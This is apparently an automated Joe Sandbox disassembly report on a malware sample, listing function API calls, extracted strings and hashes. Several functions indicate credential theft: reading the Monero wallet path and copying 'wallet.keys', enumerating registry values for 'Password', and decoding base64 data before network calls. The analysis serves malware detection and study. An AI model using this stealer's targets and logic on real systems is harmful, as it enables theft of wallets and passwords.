Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,02C56970,00000000,?,0041DBAC,00000000,?,?), ref: 0040C1D6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C1F3
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C1FF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C212

Part of subcall function 00414FE0: malloc.MSVCRT ref: 00414FE8

ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C242
StrStrA.SHLWAPI(?,02C56A18,0041D72E), ref: 0040C260
StrStrA.SHLWAPI(00000000,02C56820), ref: 0040C287
StrStrA.SHLWAPI(?,02C57748,00000000,?,0041DBB8,00000000,?,00000000,00000000,?,02C522B0,00000000,?,0041DBB4,00000000,?), ref: 0040C405
StrStrA.SHLWAPI(00000000,02C57408), ref: 0040C41C

Part of subcall function 0040BF90: memset.MSVCRT ref: 0040BFC3
Part of subcall function 0040BF90: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02C523E0), ref: 0040BFE1
Part of subcall function 0040BF90: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
Part of subcall function 0040BF90: memcpy.MSVCRT ref: 0040C082

StrStrA.SHLWAPI(?,02C57408,00000000,?,0041DBBC,00000000,?,00000000,02C523E0), ref: 0040C4BD
StrStrA.SHLWAPI(00000000,02C52410), ref: 0040C4D4

Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

lstrlen.KERNEL32(00000000), ref: 0040C5A7
CloseHandle.KERNEL32(00000000), ref: 0040C5F9

Strings

, xrefs: 0040C133

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringmallocmemcpymemset
String ID:
API String ID: 3538457421-3916222277
Opcode ID: 832a31fa4f1ec66ee6279398c785deef968a937a61d23851dca4b1982c4a627e
Instruction ID: 5cd2b1f73cf67b93462085a0ef527c1fb17cf4f8609e290afac922eca1c905fc
Opcode Fuzzy Hash: 832a31fa4f1ec66ee6279398c785deef968a937a61d23851dca4b1982c4a627e
Instruction Fuzzy Hash: EBE1E172910108ABCB14EFA5EC91FEEB779AF54304F41416EF10667191DF34AA86CF68

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FD37 Relevance: 24.2, APIs: 9, Strings: 7, Instructions: 248COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FD5C
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: c54270305458f61258e2551f56d469756e9d85375da6b675864f5ba64181ee46
Instruction ID: c635636e61c9daa50d7aef90f17bbd02a00a8acd362d6d180f064c5e09d29bb5
Opcode Fuzzy Hash: c54270305458f61258e2551f56d469756e9d85375da6b675864f5ba64181ee46
Instruction Fuzzy Hash: B0A126B0D0C306CBDB00CF94C58669EBBF4AB85348F31C81AD894DB754D779D9A68B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FCE9 Relevance: 24.2, APIs: 9, Strings: 7, Instructions: 248COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FD0E
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: c1250c06479d443b50863cfaca24b1a96d4c7a6c86a02d8b32de734b66d4155d
Instruction ID: 52be5bc32e4a241d7d631e7d354cb647d2df2ea9c6509ea900c66bb21baa7349
Opcode Fuzzy Hash: c1250c06479d443b50863cfaca24b1a96d4c7a6c86a02d8b32de734b66d4155d
Instruction Fuzzy Hash: 9DA127B0D0C306CBDB00DF94C58669EBBF4AB85348F31C81AD890DB754D779D9A68B92

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAE0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 0040FB05
ExitProcess.KERNEL32 ref: 0040FB11
strtok_s.MSVCRT ref: 0040FB28

Strings

block, xrefs: 0040FAF7

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 35ec52508197f0acf88b06294c1b147c43c2888354e13f5fdae67725b6fa6e45
Instruction ID: fe90223f0fd98bde3d1d80b461b3a127632e2556fe5f68b7592fa42a65583c7e
Opcode Fuzzy Hash: 35ec52508197f0acf88b06294c1b147c43c2888354e13f5fdae67725b6fa6e45
Instruction Fuzzy Hash: 16514074A08209EFDB20DFA1D955BAE77B5BF44305F10807AE802B72C0D778E985CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E10: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137C6,00000000,?,02C52310,?,0041D8AC,?,00000000), ref: 00416E1B
Part of subcall function 00416E10: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E75

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 83362966bc2111048460c41ece12879f56b93ec367fa9f16a50b728e2a962ec7
Instruction ID: 9400d17c22ef756279241485a604ebffcf2db104a1cf33f07ebda08dbe4ad60c
Opcode Fuzzy Hash: 83362966bc2111048460c41ece12879f56b93ec367fa9f16a50b728e2a962ec7
Instruction Fuzzy Hash: FFC1B7B59002099BCB24EF60DC99FDA7779AF54304F0045DEE40D67151EB34AAC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00411F30 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411F4E
memset.MSVCRT ref: 00411F65

Part of subcall function 004154D0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004154FB

lstrcat.KERNEL32(?,00000000), ref: 00411F9C
lstrcat.KERNEL32(?,02C56E80), ref: 00411FBB
lstrcat.KERNEL32(?,?), ref: 00411FCF
lstrcat.KERNEL32(?,02C56850), ref: 00411FE3

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00415480: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041548F

Part of subcall function 004096C0: StrStrA.SHLWAPI(00000000,02C56A30), ref: 0040971B
Part of subcall function 004096C0: memcmp.MSVCRT ref: 00409774

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415AB0: GlobalAlloc.KERNEL32(00000000,00412087,00412087), ref: 00415AC3

StrStrA.SHLWAPI(?,02C56DC0), ref: 0041209D
GlobalFree.KERNEL32(?), ref: 00412199

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0041212A
StrCmpCA.SHLWAPI(?,0041D4AB,?,?,?,?,000003E8), ref: 00412147
lstrcat.KERNEL32(00000000,00000000), ref: 00412159
lstrcat.KERNEL32(00000000,?), ref: 0041216C
lstrcat.KERNEL32(00000000,0041D840), ref: 0041217B

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID:
API String ID: 3662689742-0
Opcode ID: 35b34555ccbaf9d87d3277d6609c5accfb0f5571da1733ca64f8c32a9d8d1110
Instruction ID: b31d26b41d776aa1a54246e6e92a27f970fe62f252b7204afddd0ffbb04a4008
Opcode Fuzzy Hash: 35b34555ccbaf9d87d3277d6609c5accfb0f5571da1733ca64f8c32a9d8d1110
Instruction Fuzzy Hash: 0F7177B2900618BBCB24EBE0DD49FDE7779AF48304F044599F605A7181EA78DB94CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00415250: GetSystemTime.KERNEL32(?,02C318B8,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415276

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02C52620), ref: 00404ED9

Strings

.keys, xrefs: 0040132B
wallet_path, xrefs: 004012F0
\Monero\wallet.keys, xrefs: 0040134D
SOFTWARE\monero-project\monero-core, xrefs: 004012F5

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: 82c9c5b9ad2478c1248f72d17b2a7096b41378e84718ebf3a18f17c3dca23a8f
Instruction ID: d5ebc2d03eef1efcbc583323f2cc0252fc19ee95eb92e96b8c5062054f67734c
Opcode Fuzzy Hash: 82c9c5b9ad2478c1248f72d17b2a7096b41378e84718ebf3a18f17c3dca23a8f
Instruction Fuzzy Hash: 225132B195011857CB25EB61ED92FED733DAF54304F4041EEB60A62091EE386BC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415700 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415826

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: 7e31b7a011ad8e2e699d3ce746e24c8158af129a597a573117cd41f4321f8aa1
Instruction ID: 7ada967c558c1538f0939d45c93a2dae50afd9ee34bc535b7060ed6e54087409
Opcode Fuzzy Hash: 7e31b7a011ad8e2e699d3ce746e24c8158af129a597a573117cd41f4321f8aa1
Instruction Fuzzy Hash: B0713EB1A10608EBDB14EFE4EC89FEEB779BF48310F108508F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 61E970B9 Relevance: 16.9, APIs: 1, Strings: 10, Instructions: 447COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E97281

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

bua, xrefs: 61E9733E
IS ?, xrefs: 61E975EC
sqlite_stat1, xrefs: 61E97504
SET , xrefs: 61E9732E
bua, xrefs: 61E97368
AND , xrefs: 61E97604
WHERE , xrefs: 61E97357
UPDATE main., xrefs: 61E9730B
idx IS CASE WHEN length(?4)=0 AND typeof(?4)='blob' THEN NULL ELSE ?4 END , xrefs: 61E975CB
= ?, xrefs: 61E97571

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: freememcmp
String ID: = ?$ AND $ IS ?$ SET $ WHERE $UPDATE main.$bua$bua$idx IS CASE WHEN length(?4)=0 AND typeof(?4)='blob' THEN NULL ELSE ?4 END $sqlite_stat1
API String ID: 1183899719-1341641573
Opcode ID: a4619ef3427869a35f6bfc4a872bcdda3baedda7772fcac0fbc76971867d68f5
Instruction ID: 0d5b731b4e6e71452f02b40a28acc7cf76705435dae47c5a45c9821af7cd2139
Opcode Fuzzy Hash: a4619ef3427869a35f6bfc4a872bcdda3baedda7772fcac0fbc76971867d68f5
Instruction Fuzzy Hash: AE12E774E04259DBDB04CF98D480A9DBBF2BF88308F25C869E855AB351D774E886CF81

Uniqueness

Uniqueness Score: -1.00%

Function 61E3C943 Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 360stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3CC03
strncmp.MSVCRT ref: 61E3CC58
strncmp.MSVCRT ref: 61E3CCA9

Strings

false, xrefs: 61E3CC9E
], xrefs: 61E3CDC5
}, xrefs: 61E3CDBB
true, xrefs: 61E3CC4D
-, xrefs: 61E3CCF0
0, xrefs: 61E3CCF9
null, xrefs: 61E3CBF8
-, xrefs: 61E3CD00

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction ID: 7d0d7d581299a88f4ecf4101ed3cb2921062378b47abb911dec42016596cbabc
Opcode Fuzzy Hash: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction Fuzzy Hash: 4BD1DF70B482768ADB12CFA8C4443DABBF2AFCA318F69C25BD4919B281D739D446C751

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 75c0f30d054459862904669a7d04ac4a3cc8e9706f9eb75124a63882ca205585
Instruction ID: 0ad9f3576bb839c08245877bd66ebcfd5eb6d9c828a80bd0f24b882ad872d544
Opcode Fuzzy Hash: 75c0f30d054459862904669a7d04ac4a3cc8e9706f9eb75124a63882ca205585
Instruction Fuzzy Hash: F6613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 61E44905 Relevance: 13.8, APIs: 6, Strings: 3, Instructions: 346COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E44953
memcmp.MSVCRT ref: 61E44A05
memcmp.MSVCRT ref: 61E44BC9
memcmp.MSVCRT ref: 61E44C16
memcmp.MSVCRT ref: 61E44C7A
memcmp.MSVCRT ref: 61E44CAE

Strings

@, xrefs: 61E44922
access, xrefs: 61E44BE0
cache, xrefs: 61E44CA7, 61E44CC5

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: @$access$cache
API String ID: 1475443563-1361544076
Opcode ID: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
